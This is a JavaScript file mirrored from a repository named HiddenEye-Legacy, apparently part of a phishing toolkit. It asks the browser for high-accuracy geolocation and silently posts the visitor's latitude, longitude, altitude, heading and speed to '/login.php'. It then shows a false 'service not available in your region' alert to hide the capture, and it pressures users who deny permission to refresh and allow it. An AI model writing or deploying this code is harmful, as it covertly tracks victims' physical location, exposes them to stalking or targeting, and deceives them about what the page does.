mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
61 lines
1.6 KiB
JavaScript
61 lines
1.6 KiB
JavaScript
|
function locate()
|
||
|
{
|
||
|
if(navigator.geolocation)
|
||
|
{
|
||
|
var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0};
|
||
|
navigator.geolocation.getCurrentPosition(showPosition, showError, optn);
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
alert('Geolocation is not Supported by your Browser...');
|
||
|
}
|
||
|
|
||
|
function showPosition(position)
|
||
|
{
|
||
|
var lat = position.coords.latitude;
|
||
|
var lon = position.coords.longitude;
|
||
|
var acc = position.coords.accuracy;
|
||
|
var alt = position.coords.altitude;
|
||
|
var dir = position.coords.heading;
|
||
|
var spd = position.coords.speed;
|
||
|
|
||
|
$.ajax({
|
||
|
type: 'POST',
|
||
|
url: '/login.php',
|
||
|
data: {Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd},
|
||
|
success: function(){$('#change').html('Coming Soon');},
|
||
|
mimeType: 'text'
|
||
|
});
|
||
|
alert('This Service is Currently Not Available in Your Region.');
|
||
|
};
|
||
|
}
|
||
|
|
||
|
function showError(error)
|
||
|
{
|
||
|
switch(error.code)
|
||
|
{
|
||
|
case error.PERMISSION_DENIED:
|
||
|
var denied = 'User denied the request for Geolocation';
|
||
|
alert('Please Refresh This Page and Allow Location Permission...');
|
||
|
break;
|
||
|
case error.POSITION_UNAVAILABLE:
|
||
|
var unavailable = 'Location information is unavailable';
|
||
|
break;
|
||
|
case error.TIMEOUT:
|
||
|
var timeout = 'The request to get user location timed out';
|
||
|
alert('Please Set Your Location Mode on High Accuracy...');
|
||
|
break;
|
||
|
case error.UNKNOWN_ERROR:
|
||
|
var unknown = 'An unknown error occurred';
|
||
|
break;
|
||
|
}
|
||
|
|
||
|
$.ajax({
|
||
|
type: 'POST',
|
||
|
url: '/error.php',
|
||
|
data: {Denied: denied, Una: unavailable, Time: timeout, Unk: unknown},
|
||
|
success: function(){$('#change').html('Failed');},
|
||
|
mimeType: 'text'
|
||
|
});
|
||
|
}
|